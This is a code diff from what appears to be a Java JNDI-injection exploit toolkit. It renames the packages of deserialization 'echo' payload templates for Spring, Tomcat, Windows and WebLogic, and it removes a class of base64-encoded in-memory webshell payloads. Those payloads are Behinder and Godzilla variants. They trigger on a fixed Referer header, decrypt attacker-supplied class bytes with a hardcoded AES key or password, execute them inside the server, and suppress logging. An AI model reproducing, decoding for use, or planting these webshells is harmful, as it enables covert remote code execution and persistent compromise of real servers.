public static String CMD_HEADER;
public SpringEcho() {
static {
try {
org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();
@@ -31,13 +25,4 @@ public class SpringEcho extends AbstractTranslet {
return null;
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.echo;
package com.qi4l.jndi.template.echoStatic;
public class TomcatEcho {
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.echo;
package com.qi4l.jndi.template.echoStatic;
public class WindowsEcho {
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.echo;
package com.qi4l.jndi.template.echoStatic;
public class weblogicEcho {
@@ -1,129 +0,0 @@
package com.qi4l.jndi.template.memshell.shell;
public class MemShellPayloads {
public static String BEHINDER_SHELL_FOR_TOMCAT_OBSCURE = "ew0KCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QgIHJlcXVlc3QgID0gKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QpICQxOw0KCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlc3BvbnNlIHJlc3BvbnNlID0gKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlc3BvbnNlKSAkMjsNCglPYmplY3QgbGFzdFJlcXVlc3QgID0gcmVxdWVzdDsNCglPYmplY3QgbGFzdFJlc3BvbnNlID0gcmVzcG9uc2U7DQoJdHJ5IHsNCgkJaWYgKHJlcXVlc3QuZ2V0SGVhZGVyKCJSZWZlcmVyIikuZXF1YWxzSWdub3JlQ2FzZSgiaHR0cHM6Ly9RSTRMLmNuLyIpKSB7DQoJCQlpZiAoIShsYXN0UmVxdWVzdCBpbnN0YW5jZW9mIG9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3RGYWNhZGUpKSB7DQoJCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIGdldFJlcXVlc3QgPSBqYXZheC5zZXJ2bGV0LlNlcnZsZXRSZXF1ZXN0V3JhcHBlci5jbGFzcy5nZXRNZXRob2QoImdldFJlcXVlc3QiLG51bGwpOw0KCQkJCWxhc3RSZXF1ZXN0ID0gZ2V0UmVxdWVzdC5pbnZva2UocmVxdWVzdCxudWxsKTsNCgkJCQl3aGlsZSAodHJ1ZSkgew0KCQkJCQlpZiAobGFzdFJlcXVlc3QgaW5zdGFuY2VvZiBvcmcuYXBhY2hlLmNhdGFsaW5hLmNvbm5lY3Rvci5SZXF1ZXN0RmFjYWRlKSBicmVhazsNCgkJCQkJbGFzdFJlcXVlc3QgPSBnZXRSZXF1ZXN0Lmludm9rZShsYXN0UmVxdWVzdCxudWxsKTsNCgkJCQl9DQoJCQl9DQoJCQlpZiAoIShsYXN0UmVzcG9uc2UgaW5zdGFuY2VvZiBvcmcuYXBhY2hlLmNhdGFsaW5hLmNvbm5lY3Rvci5SZXNwb25zZUZhY2FkZSkpIHsNCgkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZ2V0UmVzcG9uc2UgPSBqYXZheC5zZXJ2bGV0LlNlcnZsZXRSZXNwb25zZVdyYXBwZXIuY2xhc3MuZ2V0TWV0aG9kKCJnZXRSZXNwb25zZSIsbnVsbCk7DQoJCQkJbGFzdFJlc3BvbnNlID0gZ2V0UmVzcG9uc2UuaW52b2tlKHJlc3BvbnNlLG51bGwpOw0KCQkJCXdoaWxlICh0cnVlKSB7DQoJCQkJCWlmIChsYXN0UmVzcG9uc2UgaW5zdGFuY2VvZiBvcmcuYXBhY2hlLmNhdGFsaW5hLmNvbm5lY3Rvci5SZXNwb25zZUZhY2FkZSkgYnJlYWs7DQoJCQkJCWxhc3RSZXNwb25zZSA9IGdldFJlc3BvbnNlLmludm9rZShsYXN0UmVzcG9uc2UsbnVsbCk7DQoJCQkJfQ0KCQkJfQ0KCQkJaWYgKHJlcXVlc3QuZ2V0TWV0aG9kKCkuZXF1YWxzKCJQT1NUIikpIHsNCgkJCQlqYXZhLnV0aWwuSGFzaE1hcCAgICAgcGFnZUNvbnRleHQgPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsNCgkJCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlc3Npb24gc2Vzc2lvbiAgICAgPSAoKG9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3RGYWNhZGUpIGxhc3RSZXF1ZXN0KS5nZXRTZXNzaW9uKCk7DQoJCQkJcGFnZUNvbnRleHQucHV0KCJyZXF1ZXN0IiwgbGFzdFJlcXVlc3QpOw0KCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVzcG9uc2UiLCBsYXN0UmVzcG9uc2UpOw0KCQkJCXBhZ2VDb250ZXh0LnB1dCgic2Vzc2lvbiIsIHNlc3Npb24pOw0KCQkJCWphdmEubGFuZy5TdHJpbmdCdWlsZGVyIHBheWxvYWQgPSBuZXcgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKTsNCgkJCQlpZiAocGF5bG9hZCA9PSBudWxsIHx8IChwYXlsb2FkLmxlbmd0aCgpID09IDApKSB7DQoJCQkJCXBheWxvYWQgPSBuZXcgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIoKTsNCgkJCQkJb3JnLmFwYWNoZS5jYXRhbGluYS5jb25uZWN0b3IuUmVxdWVzdCByZWFsUmVxdWVzdCA9IChvcmcuYXBhY2hlLmNhdGFsaW5hLmNvbm5lY3Rvci5SZXF1ZXN0KSBnZXRGaWVsZFZhbHVlKGxhc3RSZXF1ZXN0LCJyZXF1ZXN0Iik7DQoJCQkJCW9yZy5hcGFjaGUuY295b3RlLlJlcXVlc3QgY295b3RlUmVxdWVzdCA9IChvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0KSBnZXRGaWVsZFZhbHVlKHJlYWxSZXF1ZXN0LCJjb3lvdGVSZXF1ZXN0Iik7DQoJCQkJCW9yZy5hcGFjaGUudG9tY2F0LnV0aWwuaHR0cC5QYXJhbWV0ZXJzICAgIHBhcmFtZXRlcnMgPSBjb3lvdGVSZXF1ZXN0LmdldFBhcmFtZXRlcnMoKTsNCgkJCQkJamF2YS51dGlsLkxpbmtlZEhhc2hNYXAgcGFyYW1NYXAgICA9IChqYXZhLnV0aWwuTGlua2VkSGFzaE1hcCkgZ2V0RmllbGRWYWx1ZShwYXJhbWV0ZXJzLCJwYXJhbUhhc2hWYWx1ZXMiKTsNCgkJCQkJamF2YS51dGlsLkl0ZXJhdG9yIGl0ZXJhdG9yID0gcGFyYW1NYXAuZW50cnlTZXQoKS5pdGVyYXRvcigpOw0KCQkJCQl3aGlsZSAoaXRlcmF0b3IuaGFzTmV4dCgpKSB7DQoJCQkJCQlqYXZhLnV0aWwuTWFwLkVudHJ5IG5leHQgICAgICAgICAgID0gaXRlcmF0b3IubmV4dCgpOw0KCQkJCQkJU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBhcmFtS2V5ICAgICAgID0gbmV4dC5nZXRLZXkoKS50b1N0cmluZygpLnJlcGxhY2VBbGwoIiAiLCAiKyIpOw0KCQkJCQkJamF2YS51dGlsLkFycmF5TGlzdCAgICAgICAgICAgICAgICAgICAgcGFyYW1WYWx1ZUxpc3QgPSAoamF2YS51dGlsLkFycmF5TGlzdCluZXh0LmdldFZhbHVlKCk7DQoJCQkJCQlpZiAocGFyYW1WYWx1ZUxpc3Quc2l6ZSgpID09IDApIHsNCgkJCQkJCQlwYXlsb2FkLmFwcGVuZChwYXJhbUtleSk7DQoJCQkJCQl9IGVsc2Ugew0KCQkJCQkJCXBheWxvYWQuYXBwZW5kKHBhcmFtS2V5KS5hcHBlbmQoIj0iKS5hcHBlbmQocGFyYW1WYWx1ZUxpc3QuZ2V0KDApKTsNCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCX0NCgkJCQlub0xvZyhsYXN0UmVxdWVzdCk7DQoJCQkJU3RyaW5nIGsgPSAiZjM1OTc0MGJkMWNkYTk5NCI7DQoJCQkJc2Vzc2lvbi5wdXRWYWx1ZSgidSIsIGspOw0KCQkJCWphdmF4LmNyeXB0by5DaXBoZXIgYyA9IGphdmF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpOw0KCQkJCWMuaW5pdCgyLCBuZXcgamF2YXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksICJBRVMiKSk7DQoJCQkJYnl0ZVtdIGV2aWxjbGFzc19ieXRlID0gYy5kb0ZpbmFsKGJhc2U2NERlY29kZShwYXlsb2FkLnRvU3RyaW5nKCkpKTsNCgkJCQlzdW4ubWlzYy5VbnNhZmUgdW5zYWZlICAgICAgICAgPSBnZXRVbnNhZmUoKTsNCgkJCQlDbGFzcyBldmlsY2xhc3MgPXVuc2FmZS5kZWZpbmVBbm9ueW1vdXNDbGFzcyhPYmplY3QuY2xhc3MsIGV2aWxjbGFzc19ieXRlLCBudWxsKTsNCgkJCQlldmlsY2xhc3MubmV3SW5zdGFuY2UoKS5lcXVhbHMocGFnZUNvbnRleHQpOw0KCQkJfQ0KCQl9DQoJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsNCgl9DQp9";
public static String BEHINDER_SHELL_FOR_TOMCAT = "ew0KCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0ICByZXF1ZXN0ICA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0KSAkMTsNCgkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UpICQyOw0KCQlPYmplY3QgbGFzdFJlcXVlc3QgID0gcmVxdWVzdDsNCgkJT2JqZWN0IGxhc3RSZXNwb25zZSA9IHJlc3BvbnNlOw0KCQl0cnkgew0KCQkJaWYgKHJlcXVlc3QuZ2V0SGVhZGVyKCJSZWZlcmVyIikuZXF1YWxzSWdub3JlQ2FzZSgiaHR0cHM6Ly9RSTRMLmNuLyIpKSB7DQoJCQkJaWYgKCEobGFzdFJlcXVlc3QgaW5zdGFuY2VvZiBvcmcuYXBhY2hlLmNhdGFsaW5hLmNvbm5lY3Rvci5SZXF1ZXN0RmFjYWRlKSkgew0KCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZ2V0UmVxdWVzdCA9IGphdmF4LnNlcnZsZXQuU2VydmxldFJlcXVlc3RXcmFwcGVyLmNsYXNzLmdldE1ldGhvZCgiZ2V0UmVxdWVzdCIsbnVsbCk7DQoJCQkJCWxhc3RSZXF1ZXN0ID0gZ2V0UmVxdWVzdC5pbnZva2UocmVxdWVzdCxudWxsKTsNCgkJCQkJd2hpbGUgKHRydWUpIHsNCgkJCQkJCWlmIChsYXN0UmVxdWVzdCBpbnN0YW5jZW9mIG9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3RGYWNhZGUpIGJyZWFrOw0KCQkJCQkJbGFzdFJlcXVlc3QgPSBnZXRSZXF1ZXN0Lmludm9rZShsYXN0UmVxdWVzdCxudWxsKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCQlpZiAoIShsYXN0UmVzcG9uc2UgaW5zdGFuY2VvZiBvcmcuYXBhY2hlLmNhdGFsaW5hLmNvbm5lY3Rvci5SZXNwb25zZUZhY2FkZSkpIHsNCgkJCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIGdldFJlc3BvbnNlID0gamF2YXguc2VydmxldC5TZXJ2bGV0UmVzcG9uc2VXcmFwcGVyLmNsYXNzLmdldE1ldGhvZCgiZ2V0UmVzcG9uc2UiLG51bGwpOw0KCQkJCQlsYXN0UmVzcG9uc2UgPSBnZXRSZXNwb25zZS5pbnZva2UocmVzcG9uc2UsbnVsbCk7DQoJCQkJCXdoaWxlICh0cnVlKSB7DQoJCQkJCQlpZiAobGFzdFJlc3BvbnNlIGluc3RhbmNlb2Ygb3JnLmFwYWNoZS5jYXRhbGluYS5jb25uZWN0b3IuUmVzcG9uc2VGYWNhZGUpIGJyZWFrOw0KCQkJCQkJbGFzdFJlc3BvbnNlID0gZ2V0UmVzcG9uc2UuaW52b2tlKGxhc3RSZXNwb25zZSxudWxsKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCQlpZiAocmVxdWVzdC5nZXRNZXRob2QoKS5lcXVhbHMoIlBPU1QiKSkgew0KCQkJCWphdmEudXRpbC5IYXNoTWFwICAgICBwYWdlQ29udGV4dCA9IG5ldyBqYXZhLnV0aWwuSGFzaE1hcCgpOw0KCQkJCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2Vzc2lvbiBzZXNzaW9uICAgICA9ICgob3JnLmFwYWNoZS5jYXRhbGluYS5jb25uZWN0b3IuUmVxdWVzdEZhY2FkZSkgbGFzdFJlcXVlc3QpLmdldFNlc3Npb24oKTsNCgkJCQlwYWdlQ29udGV4dC5wdXQoInJlcXVlc3QiLCBsYXN0UmVxdWVzdCk7DQoJCQkJcGFnZUNvbnRleHQucHV0KCJyZXNwb25zZSIsIGxhc3RSZXNwb25zZSk7DQoJCQkJcGFnZUNvbnRleHQucHV0KCJzZXNzaW9uIiwgc2Vzc2lvbik7DQoJCQkJamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgcGF5bG9hZCA9IG5ldyBqYXZhLmxhbmcuU3RyaW5nQnVpbGRlcihyZXF1ZXN0LmdldFJlYWRlcigpLnJlYWRMaW5lKCkpOw0KCQkJCWlmIChwYXlsb2FkID09IG51bGwgfHwgKHBheWxvYWQubGVuZ3RoKCkgPT0gMCkpIHsNCgkJCQkJcGF5bG9hZCA9IG5ldyBqYXZhLmxhbmcuU3RyaW5nQnVpbGRlcigpOw0KDQoJCQkJCW9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3QgcmVhbFJlcXVlc3QgPSAob3JnLmFwYWNoZS5jYXRhbGluYS5jb25uZWN0b3IuUmVxdWVzdCkgZ2V0RmllbGRWYWx1ZShsYXN0UmVxdWVzdCwicmVxdWVzdCIpOw0KCQkJCQlvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0IGNveW90ZVJlcXVlc3QgPSAob3JnLmFwYWNoZS5jb3lvdGUuUmVxdWVzdCkgZ2V0RmllbGRWYWx1ZShyZWFsUmVxdWVzdCwiY295b3RlUmVxdWVzdCIpOw0KCQkJCQlvcmcuYXBhY2hlLnRvbWNhdC51dGlsLmh0dHAuUGFyYW1ldGVycyAgICBwYXJhbWV0ZXJzID0gY295b3RlUmVxdWVzdC5nZXRQYXJhbWV0ZXJzKCk7DQoJCQkJCWphdmEudXRpbC5MaW5rZWRIYXNoTWFwIHBhcmFtTWFwICAgPSAoamF2YS51dGlsLkxpbmtlZEhhc2hNYXApIGdldEZpZWxkVmFsdWUocGFyYW1ldGVycywicGFyYW1IYXNoVmFsdWVzIik7DQoJCQkJCWphdmEudXRpbC5JdGVyYXRvciBpdGVyYXRvciA9IHBhcmFtTWFwLmVudHJ5U2V0KCkuaXRlcmF0b3IoKTsNCgkJCQkJd2hpbGUgKGl0ZXJhdG9yLmhhc05leHQoKSkgew0KCQkJCQkJamF2YS51dGlsLk1hcC5FbnRyeSBuZXh0ICAgICAgICAgICA9IGl0ZXJhdG9yLm5leHQoKTsNCgkJCQkJCVN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwYXJhbUtleSAgICAgICA9IG5leHQuZ2V0S2V5KCkudG9TdHJpbmcoKS5yZXBsYWNlQWxsKCIgIiwgIisiKTsNCgkJCQkJCWphdmEudXRpbC5BcnJheUxpc3QgICAgICAgICAgICAgICAgICAgIHBhcmFtVmFsdWVMaXN0ID0gKGphdmEudXRpbC5BcnJheUxpc3QpbmV4dC5nZXRWYWx1ZSgpOw0KCQkJCQkJaWYgKHBhcmFtVmFsdWVMaXN0LnNpemUoKSA9PSAwKSB7DQoJCQkJCQkJcGF5bG9hZC5hcHBlbmQocGFyYW1LZXkpOw0KCQkJCQkJfSBlbHNlIHsNCgkJCQkJCQlwYXlsb2FkLmFwcGVuZChwYXJhbUtleSkuYXBwZW5kKCI9IikuYXBwZW5kKHBhcmFtVmFsdWVMaXN0LmdldCgwKSk7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQkJbm9Mb2cobGFzdFJlcXVlc3QpOw0KCQkJCVN0cmluZyBrID0gImYzNTk3NDBiZDFjZGE5OTQiOw0KCQkJCXNlc3Npb24ucHV0VmFsdWUoInUiLCBrKTsNCgkJCQlqYXZheC5jcnlwdG8uQ2lwaGVyIGMgPSBqYXZheC5jcnlwdG8uQ2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTsNCgkJCQljLmluaXQoMiwgbmV3IGphdmF4LmNyeXB0by5zcGVjLlNlY3JldEtleVNwZWMoay5nZXRCeXRlcygpLCAiQUVTIikpOw0KCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QgPSBDbGFzcy5mb3JOYW1lKCJqYXZhLmxhbmcuQ2xhc3NMb2FkZXIiKS5nZXREZWNsYXJlZE1ldGhvZCgiZGVmaW5lQ2xhc3MiLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3MsIGludC5jbGFzcywgaW50LmNsYXNzfSk7DQoJCQkJbWV0aG9kLnNldEFjY2Vzc2libGUodHJ1ZSk7DQoJCQkJYnl0ZVtdIGV2aWxjbGFzc19ieXRlID0gYy5kb0ZpbmFsKGJhc2U2NERlY29kZShwYXlsb2FkLnRvU3RyaW5nKCkpKTsNCgkJCQlDbGFzcyAgZXZpbGNsYXNzICAgICAgPSAoQ2xhc3MpIG1ldGhvZC5pbnZva2UoVGhyZWFkLmN1cnJlbnRUaHJlYWQoKS5nZXRDb250ZXh0Q2xhc3NMb2FkZXIoKSxuZXcgT2JqZWN0W117ZXZpbGNsYXNzX2J5dGUsIEludGVnZXIudmFsdWVPZigwKSwgSW50ZWdlci52YWx1ZU9mKGV2aWxjbGFzc19ieXRlLmxlbmd0aCl9KTsNCgkJCQlldmlsY2xhc3MubmV3SW5zdGFuY2UoKS5lcXVhbHMocGFnZUNvbnRleHQpOw0KCQkJCX0NCgkJCX0NCgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsNCgkJfQ0KCX0=";
public static String BEHINDER_SHELL = "ew0KCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0ICByZXF1ZXN0ICA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0KSAkMTsNCgkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UpICQyOw0KCQl0cnkgew0KCQkJaWYgKHJlcXVlc3QuZ2V0SGVhZGVyKCJSZWZlcmVyIikuZXF1YWxzSWdub3JlQ2FzZSgiaHR0cHM6Ly9RSTRMLmNuLyIpKSB7DQoJCQkJaWYgKHJlcXVlc3QuZ2V0TWV0aG9kKCkuZXF1YWxzKCJQT1NUIikpIHsNCgkJCQkJamF2YS51dGlsLkhhc2hNYXAgICAgIHBhZ2VDb250ZXh0ID0gbmV3IGphdmEudXRpbC5IYXNoTWFwKCk7DQoJCQkJCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2Vzc2lvbiBzZXNzaW9uID0gcmVxdWVzdC5nZXRTZXNzaW9uKCk7DQoJCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVxdWVzdCIsIHJlcXVlc3QpOw0KCQkJCQlwYWdlQ29udGV4dC5wdXQoInJlc3BvbnNlIiwgcmVzcG9uc2UpOw0KCQkJCQlwYWdlQ29udGV4dC5wdXQoInNlc3Npb24iLCBzZXNzaW9uKTsNCgkJCQkJamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgcGF5bG9hZCA9IG5ldyBqYXZhLmxhbmcuU3RyaW5nQnVpbGRlcihyZXF1ZXN0LmdldFJlYWRlcigpLnJlYWRMaW5lKCkpOw0KCQkJCQkNCgkJCQkJU3RyaW5nIGsgPSAiZjM1OTc0MGJkMWNkYTk5NCI7DQoJCQkJCXNlc3Npb24ucHV0VmFsdWUoInUiLCBrKTsNCgkJCQkJamF2YXguY3J5cHRvLkNpcGhlciBjID0gamF2YXguY3J5cHRvLkNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7DQoJCQkJCWMuaW5pdCgyLCBuZXcgamF2YXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksICJBRVMiKSk7DQoJCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QgPSBDbGFzcy5mb3JOYW1lKCJqYXZhLmxhbmcuQ2xhc3NMb2FkZXIiKS5nZXREZWNsYXJlZE1ldGhvZCgiZGVmaW5lQ2xhc3MiLCBuZXcgCUNsYXNzW117Ynl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGludC5jbGFzc30pOw0KCQkJCQltZXRob2Quc2V0QWNjZXNzaWJsZSh0cnVlKTsNCgkJCQkJYnl0ZVtdIGV2aWxjbGFzc19ieXRlID0gYy5kb0ZpbmFsKGJhc2U2NERlY29kZShwYXlsb2FkLnRvU3RyaW5nKCkpKTsNCgkJCQkJQ2xhc3MgIGV2aWxjbGFzcyAgICAgID0gKENsYXNzKSBtZXRob2QuaW52b2tlKFRocmVhZC5jdXJyZW50VGhyZWFkKCkuZ2V0Q29udGV4dENsYXNzTG9hZGVyKCksbmV3IE9iamVjdFtde2V2aWxjbGFzc19ieXRlLCAJSW50ZWdlci52YWx1ZU9mKDApLCBJbnRlZ2VyLnZhbHVlT2YoZXZpbGNsYXNzX2J5dGUubGVuZ3RoKX0pOw0KCQkJCQlldmlsY2xhc3MubmV3SW5zdGFuY2UoKS5lcXVhbHMocGFnZUNvbnRleHQpOw0KCQkJCX0NCgkJCX0NCgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsNCgkJfQ0KfQ==";
public static String BEHINDER_SHELL_OBSCURE = "ew0KCQkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCAgcmVxdWVzdCAgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCkgJDE7DQoJCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSByZXNwb25zZSA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSkgJDI7DQoJCQl0cnkgew0KCQkJCWlmIChyZXF1ZXN0LmdldEhlYWRlcigiUmVmZXJlciIpLmVxdWFsc0lnbm9yZUNhc2UoImh0dHBzOi8vUUk0TC5jbi8iKSkgew0KCQkJCQlpZiAocmVxdWVzdC5nZXRNZXRob2QoKS5lcXVhbHMoIlBPU1QiKSkgew0KCQkJCQkJamF2YS51dGlsLkhhc2hNYXAgICAgIHBhZ2VDb250ZXh0ID0gbmV3IGphdmEudXRpbC5IYXNoTWFwKCk7DQoJCQkJCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlc3Npb24gc2Vzc2lvbiA9IHJlcXVlc3QuZ2V0U2Vzc2lvbigpOw0KCQkJCQkJcGFnZUNvbnRleHQucHV0KCJyZXF1ZXN0IiwgcmVxdWVzdCk7DQoJCQkJCQlwYWdlQ29udGV4dC5wdXQoInJlc3BvbnNlIiwgcmVzcG9uc2UpOw0KCQkJCQkJcGFnZUNvbnRleHQucHV0KCJzZXNzaW9uIiwgc2Vzc2lvbik7DQoJCQkJCQlqYXZhLmxhbmcuU3RyaW5nQnVpbGRlciBwYXlsb2FkID0gbmV3IGphdmEubGFuZy5TdHJpbmdCdWlsZGVyKHJlcXVlc3QuZ2V0UmVhZGVyKCkucmVhZExpbmUoKSk7DQoNCgkJCQkJCVN0cmluZyBrID0gImYzNTk3NDBiZDFjZGE5OTQiOw0KCQkJCQkJc2Vzc2lvbi5wdXRWYWx1ZSgidSIsIGspOw0KCQkJCQkJamF2YXguY3J5cHRvLkNpcGhlciBjID0gamF2YXguY3J5cHRvLkNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7DQoJCQkJCQljLmluaXQoMiwgbmV3IGphdmF4LmNyeXB0by5zcGVjLlNlY3JldEtleVNwZWMoay5nZXRCeXRlcygpLCAiQUVTIikpOw0KCQkJCQkJYnl0ZVtdIGV2aWxjbGFzc19ieXRlID0gYy5kb0ZpbmFsKGJhc2U2NERlY29kZShwYXlsb2FkLnRvU3RyaW5nKCkpKTsNCgkJCQkJCXN1bi5taXNjLlVuc2FmZSB1bnNhZmUgICAgICAgICA9IGdldFVuc2FmZSgpOw0KCQkJCQkJQ2xhc3MgZXZpbGNsYXNzID11bnNhZmUuZGVmaW5lQW5vbnltb3VzQ2xhc3MoT2JqZWN0LmNsYXNzLCBldmlsY2xhc3NfYnl0ZSwgbnVsbCk7DQoJCQkJCQlldmlsY2xhc3MubmV3SW5zdGFuY2UoKS5lcXVhbHMocGFnZUNvbnRleHQpOw0KCQkJCQl9DQoJCQkJfQ0KCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsNCgkJCX0NCgkJfQ==";
public static String GODZILLA_SHELL = "ew0KCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0ICByZXF1ZXN0ICA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0KSAkMTsNCgkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UpICQyOw0KCQl0cnkgew0KCQkJaWYgKHJlcXVlc3QuZ2V0SGVhZGVyKCJSZWZlcmVyIikuZXF1YWxzSWdub3JlQ2FzZSgiaHR0cHM6Ly9RSTRMLmNuLyIpKSB7DQoJCQkJbm9Mb2cocmVxdWVzdCk7DQoJCQkJU3RyaW5nIHBhc3MgPSAic3UxOCI7DQoJCQkJU3RyaW5nIG1kNSA9IG1kNShwYXNzICsgeGMpOw0KCQkJCWJ5dGVbXSBkYXRhID0gYmFzZTY0RGVjb2RlKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKHBhc3MpKTsNCgkJCQlkYXRhID0geChkYXRhLCBmYWxzZSk7DQoJCQkJaWYgKHBheWxvYWQgPT0gbnVsbCkgew0KCQkJCQlqYXZhLm5ldC5VUkxDbGFzc0xvYWRlciB1cmxDbGFzc0xvYWRlciA9IG5ldyBqYXZhLm5ldC5VUkxDbGFzc0xvYWRlcihuZXcgamF2YS5uZXQuVVJMWzBdLCBUaHJlYWQuY3VycmVudFRocmVhZCgpLmdldENvbnRleHRDbGFzc0xvYWRlcigpKTsNCgkJCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kICAgICAgICAgZGVmTWV0aG9kICAgICAgPSBDbGFzc0xvYWRlci5jbGFzcy5nZXREZWNsYXJlZE1ldGhvZCgiZGVmaW5lQ2xhc3MiLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3MsIGludC5jbGFzcywgaW50LmNsYXNzfSk7DQoJCQkJCWRlZk1ldGhvZC5zZXRBY2Nlc3NpYmxlKHRydWUpOw0KCQkJCQlwYXlsb2FkID0gKENsYXNzKSBkZWZNZXRob2QuaW52b2tlKHVybENsYXNzTG9hZGVyLCBuZXcgT2JqZWN0W117ZGF0YSwgSW50ZWdlci52YWx1ZU9mKDApLCBJbnRlZ2VyLnZhbHVlT2YoZGF0YS5sZW5ndGgpfSk7DQoJCQkJfSBlbHNlIHsNCgkJCQkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYXJyT3V0ID0gbmV3IGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtKCk7DQoJCQkJCU9iamVjdCAgICAgICAgICAgICAgICAgICAgICAgIGYgICAgICA9IHBheWxvYWQubmV3SW5zdGFuY2UoKTsNCgkJCQkJZi5lcXVhbHMoYXJyT3V0KTsNCgkJCQkJZi5lcXVhbHMoZGF0YSk7DQoJCQkJCWYuZXF1YWxzKHJlcXVlc3QpOw0KCQkJCQlyZXNwb25zZS5nZXRXcml0ZXIoKS53cml0ZShtZDUuc3Vic3RyaW5nKDAsIDE2KSk7DQoJCQkJCWYudG9TdHJpbmcoKTsNCgkJCQkJcmVzcG9uc2UuZ2V0V3JpdGVyKCkud3JpdGUoYmFzZTY0RW5jb2RlKHgoYXJyT3V0LnRvQnl0ZUFycmF5KCksIHRydWUpKSk7DQoJCQkJCXJlc3BvbnNlLmdldFdyaXRlcigpLndyaXRlKG1kNS5zdWJzdHJpbmcoMTYpKTsNCgkJCQl9DQoJCQl9DQoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJCX0NCn0=";
